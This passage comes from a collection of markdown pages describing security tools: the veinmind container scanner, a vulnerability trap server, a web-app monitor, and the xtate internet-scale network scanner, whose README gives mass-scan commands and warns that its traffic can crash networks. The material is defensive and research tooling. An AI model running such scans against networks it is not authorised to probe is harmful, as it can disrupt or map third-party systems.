配置文件以纯文本形式保存至 CR 对象  \n- 增强了状态同步的并发安全性  \n- 从 CRD 定义中提取公共字段到一个公共文件  \n- 升级 libseccomp-golang 至 v0.11.0  \n- 改进了 ArmorProfile 处理中的错误处理，以收集所有配置文件错误  \n -为 Kubernetes 客户端设置默认的 qps 和突发值  \n- 将 MaxTargetContainerCountForBpfLsm 的值从 100 增加到 110\n\n#### [v0.7.1] - 2025-04-23\n\n**更新**  \n- 修复了 procfs 中的路径匹配问题，以确保 FD 匹配正确  \n- 修复了 disallow-load-bpf-via-setsockopt 规则中对合法 setsockopt 调用的错误拦截\n\n#### [v0.7.0] - 2025-02-27\n\n**新增**  \n- 在 VarmorPolicy 和 VarmorClusterPolicy CRD 中添加了 AllowViolations 字段  \n- AppArmor、BPF 和 Seccomp enforcers 支持观察模式  \n- 在 debug 日志中将未被阻止的违规事件记录到 violence.log 文件中  \n- 在 ArmorProfileModel CRD 中添加了 StorageType 字段  \n- 在 ArmorProfileModel 资源的附加打印机列中添加了 STORAGE-TYPE 字段  \n- 在启用行为建模功能时，将 emptyDir 数据卷挂载到 agent 和管理器  \n- 当 ArmorProfileModel 对象超出限制时，管理器将行为数据和配置文件保存到数据卷内的本地文件中- agent 建模期间将审计数据缓存在数据卷中  \n- 支持从管理器的接口导出完整的 ArmorProfileModel 对象  \n- 管理器的所有接暴露在 /apis 路径  \n- 添加了 --logFormat 命令行选项，并允许以 JSON 格式输出日志  \n- 修改了 VarmorPolicy 和 VarmorClusterPolicy CRD 的 AppArmorRawRules 结构  \n- 当遇到不符合标准的个人信息时强制定期更新  \n- 当策略在 DefenseInDepth 模式下运行时，如果 ArmorProfileModel 对象的 StorageType 字段为 LocalDisk，则从本地文件加载配置文件  \n- 添加了 --set jsonLogFormat.enabled=true 选项，用于将日志格式切换为 JSON  \n\n**修复**  \n- 如果 agent 不在容器中，readinessProbe 使用默认端口 6080  \n- 当 agent 在容器中运行时，通过 varmor-classifier-svc 服务访问分类器  \n- 增加了超时重试的等待时间  \n- 将 trace 的日志级别从 3 切换到 2\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/veinmind-tools.md",
    "content": "## veinmind-tools <https://github.com/chaitin/veinmind-tools>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang/Python-blue)\n![Author](https://img.shields.io/badge/Author-长亭科技-orange)\n![GitHub stars](https://img.shields.io/github/stars/chaitin/veinmind-tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n![Time](https://img.shields.io/badge/Join-20220316-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nveinmind-tools 是由长亭科技自研，牧云团队孵化，基于 <a href=\"https://github.com/chaitin/libveinmind\">veinmind-sdk</a> 打造的容器安全工具集\n\nveinmind, 中文名为<b>问脉</b>，寓意 <b>容器安全见筋脉，望闻问切治病害。</b> 旨在成为云原生领域的一剂良方\n\n\n中文文档 | <a href=\"README.en.md\">English</a>\n\n## 🔥 Demo\n![](https://veinmind-cache.oss-cn-hangzhou.aliyuncs.com/img/scan.gif)\n\n问脉已接入 openai, 可以使用 openai 对扫描的结果进行人性化分析，让您更加清晰的了解本次扫描发现了哪些风险。\n\n![](https://veinmind-cache.oss-cn-hangzhou.aliyuncs.com/img/ai.png)\n\n## 🕹️ 快速开始\n### 1. 确保机器上正确安装 docker\n```\ndocker info\n```\n### 2. 安装 [veinmind-runner](https://github.com/chaitin/veinmind-tools/tree/master/veinmind-runner) 镜像\n```\ndocker pull registry.veinmind.tech/veinmind/veinmind-runner:latest\n```\n### 3. 下载 [veinmind-runner](https://github.com/chaitin/veinmind-tools/tree/master/veinmind-runner) 平行容器启动脚本\n```\nwget -q https://download.veinmind.tech/scripts/veinmind-runner-parallel-container-run.sh -O run.sh && chmod +x run.sh\n```\n### 4. 快速扫描本地镜像/容器\n```\n./run.sh scan [image/container]\n```\n### 5. 使用 openAI 智能分析\n```\n./run.sh scan [image/container] --enable-analyze --openai-token  <your_openai_token>\n```\n> 注: 使用 openAI 时，请确保当前网络能够访问openAI\n> 平行容器启动时，需要手动通过 docker run -e http_proxy=xxxx -e https_proxy=xxxx 设置代理（非全局代理的场景下）\n\n## 🔨 工具列表\n\n| 工具                                                                        | 功能                | \n|---------------------------------------------------------------------------|-------------------|\n| [veinmind-runner](https://github.com/chaitin/veinmind-tools/blob/master/veinmind-runner/README.md)                              | 扫描工具运行宿主          |\n| [veinmind-malicious]https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-malicious)                       | 扫描容器/镜像中的恶意文件     |\n| [veinmind-weakpass](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-weakpass)                         | 扫描容器/镜像中的弱口令      |\n| [veinmind-log4j2](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-log4j2)                             | 扫描容器/镜像中的log4j2漏洞 |\n| [veinmind-minio](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-minio)                               | 扫描容器/镜像中的minio漏洞  |\n| [veinmind-sensitive](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-sensitive)                       | 扫描镜像中的敏感信息        |\n| [veinmind-backdoor](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-backdoor)                         | 扫描镜像中的后门          |\n| [veinmind-history](https://github.com/chaitin/veinmind-tools/blob/master/plugins/python/veinmind-history)                       | 扫描镜像中的异常历史命令      |\n| [veinmind-vuln](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-vuln)                                 | 扫描容器/镜像中的资产信息和漏洞  |\n| [veinmind-webshell](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-webshell)                         | 扫描镜像中的 Webshell   |\n| [veinmind-unsafe-mount](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-unsafe-mount)                 | 扫描容器中的不安全挂载目录     |\n| [veinmind-iac](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-iac)                                   | 扫描镜像/集群的IaC文件     |\n| [veinmind-escape](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-escape)                             | 扫描容器/镜像中的逃逸风险     |\n| [veinmind-privilege-escalation](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-privilege-escalation) | 扫描容器/镜像中的提权风险     |\n| [veinmind-trace](https://github.com/chaitin/veinmind-tools/blob/master/plugins/go/veinmind-trace)                               | 扫描容器中的入侵痕迹        |\n\nPS: 目前所有工具均已支持平行容器的方式运行\n\n## 🧑‍💻 编写插件\n\n可以通过 example 快速创建一个 veinmind-tools 插件, 具体查看 [veinmind-example](https://github.com/chaitin/veinmind-tools/blob/master/example)  \n\n## ☁️ 云原生设施兼容性\n| 名称                                                          | 类别    | 是否兼容 |\n|-------------------------------------------------------------|-------|------|\n| [Jenkins](https://github.com/chaitin/veinmind-jenkins)      | CI/CD | ✔️   |\n| [Gitlab CI](https://veinmind.chaitin.com/docs/ci/gitlab/)   | CI/CD | ✔️   |\n| [Github Action](https://github.com/chaitin/veinmind-action) | CI/CD | ✔️   |\n| DockerHub                                                   | 镜像仓库  | ✔️   |\n| Docker Registry                                             | 镜像仓库  | ✔️   |\n| Harbor                                                      | 镜像仓库  | ✔️   |\n| Docker                                                      | 容器运行时 | ✔️   |\n| Containerd                                                  | 容器运行时 | ✔️   |\n| Kubernetes                                                  | 集群    | ✔️   |\n\n## 🛴 工作原理\n![](https://github.com/chaitin/veinmind-tools/raw/master/docs/architecture.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.1.5] - 2023-07-26\n\n**新增**  \n- 新增 veinmind-trace 插件检查容器的攻击痕迹  \n- 使用 golang 重构 veinmind-backdoor 插件  \n- veinmind-backdoor 插件增加 rootkit 扫描  \n\n**其他**  \n- 更新 libveinmind 至 1.9.42 版本\n\n#### [v2.1.4] - 2023-07-04\n\n**新增**  \n- 添加 veinmind-privilege-escalation 插件，用于检测权限升级风险(包括suid/sudo)  \n\n**修复**  \n- 修复libveinmind步行数据竞争错误  \n- veinmind-weakpass 添加错误检查  \n- 修复文档中有关如何初始化插件的描述错误  \n- 修复 README 格式  \n\n**其他**  \n- libveinmind 更新至 1.9.21  \n- CI 添加自动同步到 harbor\n\n#### [v2.1.3] - 2023-05-23\n\n**新增**  \n- 新增 mysql5 弱口令扫描  \n- 使用 bullseye 和 libveinmind-dev 更新至 1.9.15   \n- 新增 caching_sha2_password 插件  \n- 新增 kubernetes iac 策略插件  \n- 新增对 env/docker 历史命令扫描  \n\n**修复**  \n- 修复 libveinmind 遍历数据竞争的问题  \n- 优化 veinmind-malicious 代码  \n- 修复 mysql8 弱口令检查\n\n#### [v2.1.2] - 2023-04-25\n\n**新增**  \n- veinmind-weakpass 添加支持 ftp  \n- veinmind-iac 添加 dockerfile 安全检测  \n\n**修复**  \n- AI模块忽略基本分析内容  \n- makefile 添加 CGO_ENBALED 参数和依赖更新  \n- 优化 CI/CD 的代理设置\n\n#### [v2.1.0] - 2023-03-27\n\n**更新**  \n- 支持使用 openai 分析扫描结果\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/vultrap.md",
    "content": "## vultrap <https://github.com/liqzz/vultrap>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-liqzz-orange)\n![GitHub stars](https://img.shields.io/github/stars/liqzz/vultrap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20240513-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# vultrap\nBuild a vulnerability trap server\n\n# Install\n```\ndocker run -p 8002:8002 -it --rm qingzhaoli/vultrap:latest trapserver\n```\n\n# Show\n\n[![asciicast](https://asciinema.org/a/yUpOFCcPOqtMJ1LJDKvG93Dtw.svg)](https://asciinema.org/a/yUpOFCcPOqtMJ1LJDKvG93Dtw)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/wam.md",
    "content": "## wam <https://github.com/knownsec/wam>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/wam.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n### Introduction\n\nWAM is a platform powered by Python to monitor \"Web App\", \"The dynamic network information\". To a certain extent, it greatly help the security researchers save time on tracking the vulnerable code updates and industry dynamics of investment.\n\n- AM Model: This module can monitor every updates on all of apps on internet, analysising the changes to make Tag and provide mail notification;\n\n- IDM Model: This module uses Web crawler to fetch the industry dynamic information and report that to users;\n\n- VDR Model: This module manager all of application package in the history, and save the updated version of which DIFF details;\n\n### Development\n- Lang: Python 2.7\n- Framewrok: Django 1.7.11\n- UI: [Semantic-ui](http://www.semantic-ui.com/)\n- Database: Mysql\n\n### Models\n\n- AM (App Monitoring)\n- IDM (Information Dynamic Monitoring)\n- VDR (The Relationship Between Vulnerability And Database)\n\n#### App Monitoring\n\n#### Information Dynamic Monitoring\n\n#### The Relationship Between Vulnerability And Database\n\n---\n### How to Use\n---\n#### Step 1. Get WAM source code\n`git clone https://github.com/knownsec/wam.git`\n\n#### Step 2. Update settings\nupdate email server and user settings  \n**TODO  settings with dabase Storage**\n* `monitor/utils/local_settings.py`\n* `monitor/utils/email_list.py`\n  \n#### Step 3. Deploy to server\n* **nginx**  \n* **uwsgi**  \n* **supervisor**  \n  \nJust use `wam/conf` config files to deploy your wam code\n\n#### PS. WAM with LDAP auth\n\nEssentially, need to ensure you have the necessary development libraries installed:\n\n`apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev`\n\nthen `pip install python-ldap`\nand uncomment `wam/settings.py` \n`AUTHENTICATION_BACKENDS` to\n\n````\nAUTHENTICATION_BACKENDS = (\n    'wam.ldap_backend.LDAPBackend', # 如果想使LDAP 认证取消注释\n    'django.contrib.auth.backends.ModelBackend',\n)\n````\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/xtate.md",
    "content": "## xtate <https://github.com/babycoff/xtate>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C-blue)\n![Author](https://img.shields.io/badge/Author-sharkocha-orange)\n![GitHub stars](https://img.shields.io/github/stars/babycoff/xtate.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.13.0-red)\n![Time](https://img.shields.io/badge/Join-20241029-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n \n<h1 id=\"top\" ></h1>\n<h1 id=\"whatsthis\">🤔 What's this?</h1>\n\nWelcome to Xtate -- A modular all-stack network scanner for next-generation internet surveys!\n\n<h1 id=\"features\">✨ Features</h1>\n\n- Designed for Internet-scale scanning and surveys both in academic and practice:\n    - High-speed asynchronous transmission mechanism for packets.\n    - Stateless scanning model for application layer(aka. ZBanner).\n    - HLTCP(Hybrid-state lightweight TCP stack) in user-space for stateful scanning.\n    - etc.\n- Modularized interfaces: Custom modules in 4 types can be written to achieve your scanning task.\n    - Scan Module\n    - Probe Module\n    - Generate Module\n    - Output Module\n- Corresponding modules have been implemented for commonly used functions:\n    - Port scanning and host discovery in many ways.\n    - Grab service banners within one connection in a complete stateless manner.\n    - Obtain TLS info and TLS-based service banner with HLTCP.\n    - Service discovery and identification like LZR.\n    - Probe Topology like yarrp.\n    - etc.\n- Full support for IPv6 and can work in LAN.\n- ~~Written in advanced and popular C language.~~\n\n\n<h1 id=\"tableofcontent\">📇 Table of Content</h1>\n\n1. 🎤[Introduction](https://github.com/sharkocha/xtate/blob/xtate/README.md#introduction)\n1. 🎨[Design](https://github.com/sharkocha/xtate/blob/xtate/README.md#design)\n1. 🤺[Basic Usage](https://github.com/sharkocha/xtate/blob/xtate/README.md#basicusage)\n1. 📦[Modules](https://github.com/sharkocha/xtate/blob/xtate/README.md#modules)\n    1. [Some Typical Scan Modules](https://github.com/sharkocha/xtate/blob/xtate/README.md#some-typical-scan-modules)\n    1. [Some Generalizable Probe Modules](https://github.com/sharkocha/xtate/blob/xtate/README.md#some-generalizable-probe-modules)\n    1. [Output Modules](https://github.com/sharkocha/xtate/blob/xtate/README.md#output-modules)\n    1. [Generate Modules](https://github.com/sharkocha/xtate/blob/xtate/README.md#generate-modules)\n1. 💁[Helps in Detail](https://github.com/sharkocha/xtate/blob/xtate/README.md#-helps-in-detail)\n1. 🥽[Scan Rate](https://github.com/sharkocha/xtate/blob/xtate/README.md#scanrate)\n1. ❗[️Set Your Firewall](https://github.com/sharkocha/xtate/blob/xtate/README.md#setyourfirewall)\n1. 🔨[Build](https://github.com/sharkocha/xtate/blob/xtate/README.md#build)\n    1. [Dependencies](https://github.com/sharkocha/xtate/blob/xtate/README.md#dependencies)\n    1. [Compile on Linux](https://github.com/sharkocha/xtate/blob/xtate/README.md#compile-on-linux)\n    1. [Compile on Windows](https://github.com/sharkocha/xtate/blob/xtate/README.md#compile-on-windows)\n1. ✍[Author](https://github.com/sharkocha/xtate/blob/xtate/README.md#author)\n1. 📄[Papers](https://github.com/sharkocha/xtate/blob/xtate/README.md#papers)\n1. 🪪[License](https://github.com/sharkocha/xtate/blob/xtate/README.md#license)\n\n<h1 id=\"introduction\">🎤 Introduction</h1>\n\nXtate provides basic ability of super fast asychronous packet sending/receiving and highly extensible architecture.\nIt allows adding self-define ScanModules or ProbeModules to do different scan task with specific strategy.\nAll modules could work in a packet send rate which takes up more than 90% of a gigabit of bandwidth in pcap mode and 90% of a 10 gigabit of bandwidth in PFRING mode.\n\nXtate focuses on large-scale active measurement of obtaining information about protocol themselves and corresponding underlying characteristics in real time.\nIn other words, Xtate is not good at being a crawler or concentrating on content level detection like other specialized scanners. \n(Although Xtate has that abilities...)\n\nXtate was originally designed to do all scans for UDP and TCP in complete stateless manner, even obtaining responses over TCP with our **ZBanner** tech.\nBut some new added features and modules make it be more than stateless.\n\nFor example, Xtate could do stateful TCP connection and even get HTTPS reponses after finishing TLS handshake with an improved user space stack what we called **HLTCP(hybrid-state lightweight TCP stack)** which optimized for large-scale scanning.\nHowever, being fast and concise is always our target.\n\nIn addition, Xtate supports IPv6 addresses and can be built on Windows and Linux with optional dependencies.\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"design\">🎨 Design</h1>\n\nUnlike existing high-speed asynchronous scanners, Xtate enables richer scanning strategies by dividing the scanning process at a fine-grained level into individual functional modules.\nThis is how Xtate working internally (or you can check it by `xtate --intro`):\n\n```\n+--------------------------------------------------------------------------------------------+\n|                                                                                            |\n|      New Targets Generation     Tx Threads           Packet  Transmit         Tx Threads   |\n|     +----------------------+  ------------->  +---------------------------+  ----------->  |\n|     | 1.GenerateModule     |  ------------->  | 1.ProbeModule Hello Making|  ----------->  |\n|     | 2.Scan Rate Control  |  ------------->  | 2.ScanModule Transmiting  |  ----------->  |\n|     +----------------------+                  +---------------------------+                |\n|                                                                                            |\n|                                                                            ^               |\n|                                                                            |               |\n|     Packets need to be send   +-----------------------+  Send in priority  |               |\n|  +--------------------------->| Pakcets Sending Queue +--------------------+               |\n|  |                            +-----------------------+                                    |\n|  |                                                                                         |\n|  |                                                                                         |\n|  |         ScanModule Handling                        ScanModule Validation                |\n|  |  +-----------------------------+ Handle Threads +-----------------------+               |\n|  |  | 1.ProbeModule Handling      | <------------- | 1.Packet Record       |   Rx  Thread  |\n|  |  | 2.OutputModule save results | <------------- | 2.Deduplication       | <-----------  |\n|  +--| 3.More packets to send      | <------------- | 3.ProbeModule Validate|               |\n|     +-----------------------------+                +-----------------------+               |\n|                                                                                            |\n+--------------------------------------------------------------------------------------------+\n```\n\nThe most important of these are the Scan module and the Probe module.\nThe Scan module is responsible for tasks in the network, transport and sometimes data-link layers during the scanning process (e.g., underlying packet construction, verification, etc.), while the Probe module is responsible for tasks above the transport layer (e.g., payload generation, content detection, etc.).\nA Scan module can be used alone (e.g. `icmp-echo` ScanModule), or paired with different Probe modules (e.g., `zbanner` ScanModulea and `http` ProbeModule). By clever design, Probe modules can even be nested with other Probe modules (e.g., `tcp-state` ScanModule, `tls-state` ProbeModule and `http` ProbeModule).\nBoth Scan modules and Probe modules have own sub-parameters.\n\nThis is what ScanModules, ProbeModules and \"all-stack\" mean (or you can check it by `xtate --intro`):\n\n```\n+----------------------------------------------------------------------+\n|    Free supporting for new scan strategies and protocols through     |\n|    flexible ScanModules and ProbeModules creating and combination    |\n|                                                                      |\n|     +--------------------+           +-------------------------+     |\n|     |  Application Layer +---------->|                         |     |\n|     +--------------------+           |     ProbeModules        |     |\n|                                      |                         |     |\n|     +--------------------+           |       e.g. HTTP         |     |\n|     | Presentation Layer +---------->|            DNS          |     |\n|     +--------------------+           |            Netbios      |     |\n|                                      |            TLS          |     |\n|     +--------------------+           |                         |     |\n|     |   Session Layer    +---------->|                         |     |\n|     +--------------------+           +-------------------------+     |\n|                                                                      |\n|     +--------------------+           +-------------------------+     |\n|     |   Transport Layer  +---------->|                         |     |\n|     +--------------------+           |      ScanModules        |     |\n|                                      |                         |     |\n|     +--------------------+           |       e.g. TCP          |     |\n|     |   Network Layer    +---------->|            UDP          |     |\n|     +--------------------+           |            ICMP         |     |\n|                                      |            NDP          |     |\n|     +--------------------+           |            ARP          |     |\n|     |   Data-link Layer  +---------->|                         |     |\n|     +--------------------+           +-------------------------+     |\n|                                                                      |\n|     +--------------------+                                           |\n|     |   Physical Layer   +---------->     Stop kidding!!!            |\n|     +--------------------+                                           |\n|                                                                      |\n+----------------------------------------------------------------------+\n```\n\nXtate allows and encourages users to write their own modules to accomplish specific scanning tasks.\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"basicusage\">🤺 Basic Usage</h1>\n\nUse `xtate --usage` to see the basic usages of xtate.\nBut actually you can do much more than these if you know xtate deeply by reading helps.\n\n```\nusage format:\n  xtate [options] [-ip IPs -p PORTs [-scan SCANMODULE [-probe PROBEMODULE]]]\n\nbasic use examples of xtate:\n\n  xtate -p 80,8000-8100 -ip 10.0.0.0/8 --rate 10000\n      use default TcpSyn ScanModule to scan web ports on 10.x.x.x at 10kpps.\n      \n  xtate -p u:80 -ip 10.0.0.0/8 -scan udp -probe echo -show info\n      use UdpProbe ScanModule to scan UDP 80 port with echo ProbeModule and also\n      show info results.\n      \n  xtate -ip 10.0.0.0/8 -scan icmp-echo -scan-arg \"-ttl\"\n      use IcmpEcho ScanModule to do ping scan and record TTL.\n      \n  xtate -p 80 -ip 10.0.0.0/8 -scan zbanner -probe http -scan-arg \"-banner\"\n      use ZBanner ScanModule to grab http banners with http ProbeModule and Scan\n      Module-specific param.\n      \n  xtate -p s:38412 -ip 10.0.0.0/8 -scan sctp-init -show fail\n      use SctpInit ScanModule to scan SCTP 38412(36412) port and show fail resul\n      ts.\n      \n  xtate -ip 192.168.0.1/24 -scan arp-req -lan\n      do ARP scan with LAN mode in local network.\n      \n  xtate -ip fe80::1/120 -scan ndp-ns -src-ip fe80::2 -fake-router-mac\n      do NDP NS scan with a link-local source IP in local network.\n```\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"modules\">📦 Modules</h1>\n\n## Some Typical Scan Modules\n\nSome scan modules would carry probe modules in same type for different performing.\n\nI only mention some typicals of them here which do not contain much basic ones like `tcp-syn`, `icmp-echo`, etc. Details are in the help document.\n\n- `zbanner`: Send probe payload after construct complete TCP connection and grab the response banner.\nAll of these happen in **completely stateless manner** so that ZBanner could work in high-speed pachet send rate.\nIt accept tcp type probe module.\nZBanner tech was born from our research papar.\n\n- `tcp-state`: Do scanning with an hybrid-state lightweight TCP stack what we called HLTCP.\nActually it's stateful scan module and accept state type of probe module.\nHLTCP was born from our research paper.\nIt has basic tcp funtions in large-scale scanning scenario and could touch upper layer service over TLS by pairing with `tls-state` probe module.\n\n- `udp`: Send probe payload in type of udp and try to grab valid response.\n\n\n## Some Generalizable Probe Modules\n\nHowever, writing modules in C is not an easy task although it helps writter understand more about principle.\nSo I try to provide some highly generalizable Scan and Probe modules.\nThese allows you to just use simple commands, regular expressions, or lua scripts to accomplish most of scanning tasks for POC.\n\nI only present some typicals of them here.\nDetails are in the help document.\n\n- `hello`: Hello probe use static content set by user and reports banner. We can set a regex to match the response as successed. It is tcp type probe and we have udp and state type version, too.\n\n- `recog`: Recog probe is like Hello probe but use a fingerprint file in Recog xml format to match the response by a bunch of regex. It is useful for version detection. It is tcp type probe and we have udp and state type version, too.\n\n- `http`: For the most import application protocol, we provide Http probe for self-defined http header. We also can set a regex to match the response. It is tcp type probe and we have state type version, too.\n\n- `lua-tcp`: Let a specified lua script with proper implementation as a tcp type probe. It will save a lot of time for use for writing simple probes.\n\n- `lua-udp`: The udp type version of `lua-tcp`.\n\n## Output Modules\n\nI support users to write their own scan or probe modules to present unique scan strategy.\nAnd xtate support to result in a formatted item with standard and self-defined key-value field.\nThis makes output modules to save results in various ways.\n\nXtate could save results in text, csv, ndjson, MongoDB, etc.\nYou can write your own output module for better saving.\n\n## Generate Modules\n\nGenerateModule or Generator is an abstraction for scan targets generation. It makes target generation extensible and flexible.\nI expect that users can design their own target generation algorithms, or method like gererating from database or files, even design it with OutputModule together.\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"helpsindetail\">💁 Helps in Detail</h1>\n\nXtate has many parameters for global configuration and sub-parameters for specific modules.\nAll detailed help information of parameters ared embeded into the program, and I recommend using the compiled binary to view them.\nPS: Some of the help info are too long, you can use `less`(`more`) command or output it to files(or `vim`).\n\nSee all global parameters and help of xtate.\n\n```\nxtate --help\n```\n\nSee all ScanModules with names and introductions.\n\n```\nxtate --list-scan\n```\n\nSee specified ScanModules with sub-parameters and help info.\n\n```\nxtate --help-scan <module-name>\n```\n\nSee all ProbeModules with names and introductions.\n\n```\nxtate --list-probe\n```\n\nSee specified ProbeModules with sub-parameters and help info.\n\n```\nxtate --help-probe <module-name>\n```\n\nSee all OutputModules with names and introductions.\n\n```\nxtate --list-out\n```\n\nSee specified OutputModules with sub-parameters and help info.\n\n```\nxtate --help-out <module-name>\n```\n\nSee all GenerateModules with names and introductions.\n\n```\nxtate --list-gen\n```\n\nSee specified GenerateModules with sub-parameters and help info.\n\n```\nxtate --help-gen <module-name>\n```\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"scanrate\">🥽 Scan Rate</h1>\n\nXtate could do scan with a high-speed send rate like ZMap and Masscan but with more functions.\nAll those tools work on similar sending way like raw socket, libpcap(winpcap) or zero-copy(PFRING/netmap).\n\nXtate inherent and improve the packet sending way of Masscan which contains multi-thread libpcap/winpcap and PFRING.\nAnd it randomizes the target IP addresses so that it shouldn't overwhelm any distant network.\nXtate could event randomize the source IPv4/IPv6 addresses if needed(Yes, I fixed).\n\nBy default, the rate is set to 100 packets/second. To increase the rate to a million use something like --rate 1000000.\nWhen scanning the IPv4 Internet, you'll be scanning lots of subnets, so even though there's a high rate of packets going out, each target subnet will receive a small rate of incoming packets.\n\nHowever, with IPv6 scanning, you'll tend to focus on a single target subnet with billions of addresses.\nThus, your default behavior will overwhelm the target network.\nNetworks often crash under the load that xtate can generate.\n\nIn addition, Xtate support LAN mode to do NDP or ARP scan.\nSet a proper scan rate when operate on your own network.\n\n<h1 id=\"setyourfirewall\">❗ Set Your Firewall</h1>\n\nXtate needs to avoid responds of system stack when using udp, zbanner or HLTCP scan.\nWhen Linux local system receives a SYN-ACK from the probed target, it responds with a RST packet that kills the connection before Xtate handle.\nSame for udp, local system may respond an icmp(port unreachable) while we receive our packets.\n\nThe easiest way to prevent this is to assign Xtate a separate IP address.\nOr I write some shell scripts to set iptable rules in `firewall` directory both for tcp/udp in IPv4/IPv6.\n\nNote, when we do tcp-syn scan, it's better to let system stack to respond RST automaticly.\nBut you can also set subparameter `--send-rst` to tcp-syn scan module to let Xtate send rst by itself while we work on Windows or use seperate source IP address on Linux.\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"build\">🔨 Build</h1>\n\nXtate could be built both on Linux and Windows with CMake(>=v3.20) because of cross-platform source code.\nAnd some dependencies are optional, we can give up some modules if the specific dependency libraries cannot be prepared.\n\n## Dependencies\n\nDependent libraries for building:\n\n- OpenSSL>=1.1.1 (optional or use `-DWITH_OPENSSL=<ON/OFF>` to switch explicitly)\n- PCRE2 8bits (optional or use `-DWITH_PCRE2=<ON/OFF>` to switch explicitly)\n- LibXml2 (optional or use `-DWITH_LIBXML2=<ON/OFF>` to switch explicitly)\n- libbson>=1.7 (optional or use `-DWITH_BSON=<ON/OFF>` to switch explicitly)\n- libmongoc>=1.7 (optional or use `-DWITH_MONGOC=<ON/OFF>` to switch explicitly)\n\nOptional dependencies for building won't be compiled with if Cmake didn't find the packages on your system or you can switch off it by CMake parameters.\n\nDependent libraries for running:\n\n- libpcap(Linux)\n- winpcap/npcap(Windows)\n- PFRING driver(optional on Linux)\n- lua5.3/5.4(optional for lua probe support)\n\nAll of them can be installed on Windows in some way you like but always easier on Linux like Ubuntu(e.g. 22/24):\n\n```\nsudo apt install \\\nlibpcap-dev \\\nlibssl-dev \\\nlibpcre2-dev \\\nlibxml2-dev \\\nliblua5.X-0 \\\nlibbson-dev \\\nlibmongoc-dev\n```\n\nUse `xtate --version` to check details of version, binary info after building.\n\n## Compile on Linux\n\nRecommended compile suites:\n\n- GCC\n- Clang\n\nAfter dependencies installed we can build xtate by CMake with parameters or with given script quickly:\n\n```\n./build.sh [debug]\n```\n\n## Compile on Windows\n\nRecommended compile suites:\n\n- MSVC\n- MinGW-w64\n\nGenerate a Visual Studio solution (e.g. VS2022) and build with MSVC:\n\n```\ncd build\ncmake .. \\\n    [-G \"Visual Studio 17 2022\"] \\\n    [-DCMAKE_TOOLCHAIN_FILE=<maybe path of your vcpkg toolchain>]\ncmake --build . \\\n    --config <Release/Debug/MinSizeRel/RelWithDebInfo> \\\n    --parallel 4\n```\n\nGenerate a unix-style Makefile and build with MinGW-w64 :\n\n```\ncd build\ncmake .. \\\n    -G \"Unix Makefiles\" \\\n    -DCMAKE_BUILD_TYPE=<Release/Debug>\nmake -j4\n```\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"author\">✍ Author</h1>\n\nXtate was created by Sharkocha:\n\n- email: chenchiyu14@nudt.edu.cn\n\nOriginal code was written during my master's studies at:\n\n- College of Electronic Engineering, [National University of Defense Technology](https://english.nudt.edu.cn/).\n- Anhui Province Key Laboratory of Cyberspace Security Situation Awareness and Evaluation.\n\nThe initial version of Xtate was born from [Masscan](https://github.com/robertdavidgraham/masscan/tree/master).\nThanks to Robert Grahm for providing valued programing throughts and code infrastructures.\nAlso thanks to other excellent open-source projects I refered to and noted in the code.\nI've learned more than just finishing my worthless graduate 